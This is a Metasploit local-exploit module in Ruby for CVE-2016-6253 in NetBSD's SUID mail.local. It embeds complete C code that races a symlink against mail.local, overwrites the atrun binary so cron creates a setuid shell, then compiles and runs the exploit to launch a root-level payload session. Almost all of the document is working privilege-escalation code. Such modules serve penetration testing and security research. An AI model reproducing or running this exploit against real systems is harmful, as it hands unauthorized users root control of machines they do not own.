1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330 | ##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require "msf/core"
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::File
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'NetBSD mail.local Privilege Escalation',
'Description' => %q{
This module attempts to exploit a race condition in mail.local with SUID bit set on:
NetBSD 7.0 - 7.0.1 (verified on 7.0.1)
NetBSD 6.1 - 6.1.5
NetBSD 6.0 - 6.0.6
Successful exploitation relies on a crontab job with root privilege, which may take up to 10min to execute.
},
'License' => MSF_LICENSE,
'Author' =>
[
'h00die <mike@stcyrsecurity.com>', # Module
'akat1' # Discovery
],
'DisclosureDate' => 'Jul 07 2016',
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'SessionTypes' => %w{shell meterpreter},
'Privileged' => true,
'Payload' => {
'Compat' => {
'PayloadType' => 'cmd cmd_bash',
'RequiredCmd' => 'generic openssl'
}
},
'Targets' =>
[
[ 'Automatic Target', {}]
],
'DefaultTarget' => 0,
'DefaultOptions' => { 'WfsDelay' => 603 }, #can take 10min for cron to kick
'References' =>
[
[ "URL", "http://akat1.pl/?id=2"],
[ "EDB", "40141"],
[ "CVE", "2016-6253"],
[ "URL", "http://ftp.netbsd.org/pub/NetBSD/security/advisories/NetBSD-SA2016-006.txt.asc"]
]
))
register_options([
OptString.new('ATRUNPATH', [true, 'Location of atrun binary', '/usr/libexec/atrun']),
OptString.new('MAILDIR', [true, 'Location of mailboxes', '/var/mail']),
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),
OptInt.new('ListenerTimeout', [true, 'Number of seconds to wait for the exploit', 603])
], self.class)
end
def exploit
# lots of this file's format is based on pkexec.rb
# direct copy of code from exploit-db
main = %q{
// Source: http://akat1.pl/?id=2
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#include <stdlib.h>
#include <string.h>
#include <err.h>
#include <sys/wait.h>
#define ATRUNPATH "/usr/libexec/atrun"
#define MAILDIR "/var/mail"
static int
overwrite_atrun(void)
{
char *script = "#! /bin/sh\n"
"cp /bin/ksh /tmp/ksh\n"
"chmod +s /tmp/ksh\n";
size_t size;
FILE *fh;
int rv = 0;
fh = fopen(ATRUNPATH, "wb");
if (fh == NULL) {
rv = -1;
goto out;
}
size = strlen(script);
if (size != fwrite(script, 1, strlen(script), fh)) {
rv = -1;
goto out;
}
out:
if (fh != NULL && fclose(fh) != 0)
rv = -1;
return rv;
}
static int
copy_file(const char *from, const char *dest, int create)
{
char buf[1024];
FILE *in = NULL, *out = NULL;
size_t size;
int rv = 0, fd;
in = fopen(from, "rb");
if (create == 0)
out = fopen(dest, "wb");
else {
fd = open(dest, O_WRONLY | O_EXCL | O_CREAT, S_IRUSR | S_IWUSR);
if (fd == -1) {
rv = -1;
goto out;
}
out = fdopen(fd, "wb");
}
if (in == NULL || out == NULL) {
rv = -1;
goto out;
}
while ((size = fread(&buf, 1, sizeof(buf), in)) > 0) {
if (fwrite(&buf, 1, size, in) != 0) {
rv = -1;
goto out;
}
}
out:
if (in != NULL && fclose(in) != 0)
rv = -1;
if (out != NULL && fclose(out) != 0)
rv = -1;
return rv;
}
int
main()
{
pid_t pid;
uid_t uid;
struct stat sb;
char *login, *mailbox, *mailbox_backup = NULL, *atrun_backup, *buf;
umask(0077);
login = getlogin();
if (login == NULL)
err(EXIT_FAILURE, "who are you?");
uid = getuid();
asprintf(&mailbox, MAILDIR "/%s", login);
if (mailbox == NULL)
err(EXIT_FAILURE, NULL);
if (access(mailbox, F_OK) != -1) {
/* backup mailbox */
asprintf(&mailbox_backup, "/tmp/%s", login);
if (mailbox_backup == NULL)
err(EXIT_FAILURE, NULL);
}
if (mailbox_backup != NULL) {
fprintf(stderr, "[+] backup mailbox %s to %s\n", mailbox, mailbox_backup);
if (copy_file(mailbox, mailbox_backup, 1))
err(EXIT_FAILURE, "[-] failed");
}
/* backup atrun(1) */
atrun_backup = strdup("/tmp/atrun");
if (atrun_backup == NULL)
err(EXIT_FAILURE, NULL);
fprintf(stderr, "[+] backup atrun(1) %s to %s\n", ATRUNPATH, atrun_backup);
if (copy_file(ATRUNPATH, atrun_backup, 1))
err(EXIT_FAILURE, "[-] failed");
/* win the race */
fprintf(stderr, "[+] try to steal %s file\n", ATRUNPATH);
switch (pid = fork()) {
case -1:
err(EXIT_FAILURE, NULL);
/* NOTREACHED */
case 0:
asprintf(&buf, "echo x | /usr/libexec/mail.local -f xxx %s "
"2> /dev/null", login);
for(;;)
system(buf);
/* NOTREACHED */
default:
umask(0022);
for(;;) {
int fd;
unlink(mailbox);
symlink(ATRUNPATH, mailbox);
sync();
unlink(mailbox);
fd = open(mailbox, O_CREAT, S_IRUSR | S_IWUSR);
close(fd);
sync();
if (lstat(ATRUNPATH, &sb) == 0) {
if (sb.st_uid == uid) {
kill(pid, 9);
fprintf(stderr, "[+] won race!\n");
break;
}
}
}
break;
}
(void)waitpid(pid, NULL, 0);
if (mailbox_backup != NULL) {
/* restore mailbox */
fprintf(stderr, "[+] restore mailbox %s to %s\n", mailbox_backup, mailbox);
if (copy_file(mailbox_backup, mailbox, 0))
err(EXIT_FAILURE, "[-] failed");
if (unlink(mailbox_backup) != 0)
err(EXIT_FAILURE, "[-] failed");
}
/* overwrite atrun */
fprintf(stderr, "[+] overwriting atrun(1)\n");
if (chmod(ATRUNPATH, 0755) != 0)
err(EXIT_FAILURE, NULL);
if (overwrite_atrun())
err(EXIT_FAILURE, NULL);
fprintf(stderr, "[+] waiting for atrun(1) execution...\n");
for(;;sleep(1)) {
if (access("/tmp/ksh", F_OK) != -1)
break;
}
/* restore atrun */
fprintf(stderr, "[+] restore atrun(1) %s to %s\n", atrun_backup, ATRUNPATH);
if (copy_file(atrun_backup, ATRUNPATH, 0))
err(EXIT_FAILURE, "[-] failed");
if (unlink(atrun_backup) != 0)
err(EXIT_FAILURE, "[-] failed");
if (chmod(ATRUNPATH, 0555) != 0)
err(EXIT_FAILURE, NULL);
fprintf(stderr, "[+] done! Don't forget to change atrun(1) "
"ownership.\n");
fprintf(stderr, "Enjoy your shell:\n");
execl("/tmp/ksh", "ksh", NULL);
return 0;
}
}
# patch in our variable maildir and atrunpath
main.gsub!(/#define ATRUNPATH "\/usr\/libexec\/atrun"/,
"#define ATRUNPATH \"#{datastore["ATRUNPATH"]}\"")
main.gsub!(/#define MAILDIR "\/var\/mail"/,
"#define MAILDIR \"#{datastore["MAILDIR"]}\"")
executable_path = "#{datastore["WritableDir"]}/#{rand_text_alpha(8)}"
payload_file = "#{rand_text_alpha(8)}"
payload_path = "#{datastore["WritableDir"]}/#{payload_file}"
vprint_status("Writing Payload to #{payload_path}")
# patch in to run our payload as part of ksh
main.gsub!(/execl\("\/tmp\/ksh", "ksh", NULL\);/,
"execl(\"/tmp/ksh\", \"ksh\", \"#{payload_path}\", NULL);")
write_file(payload_path, payload.encoded)
cmd_exec("chmod 555 #{payload_path}")
register_file_for_cleanup(payload_path)
print_status "Writing exploit to #{executable_path}.c"
# clean previous bad attempts to prevent c code from exiting
rm_f executable_path
rm_f '/tmp/atrun'
whoami = cmd_exec('whoami')
rm_f "/tmp/#{whoami}"
write_file("#{executable_path}.c", main)
print_status("Compiling #{executable_path}.c via gcc")
output = cmd_exec("/usr/bin/gcc -o #{executable_path}.out #{executable_path}.c")
output.each_line { |line| vprint_status(line.chomp) }
print_status('Starting the payload handler...')
handler({})
print_status("Executing at #{Time.now}. May take up to 10min for callback")
output = cmd_exec("chmod +x #{executable_path}.out; #{executable_path}.out")
output.each_line { |line| vprint_status(line.chomp) }
# our sleep timer
stime = Time.now.to_f
until session_created? || stime + datastore['ListenerTimeout'] < Time.now.to_f
Rex.sleep(1)
end
print_status("#{Time.now}")
register_file_for_cleanup(executable_path)
register_file_for_cleanup("#{executable_path}.out")
print_status("Remember to run: chown root:wheel #{datastore["ATRUNPATH"]}")
end
end
|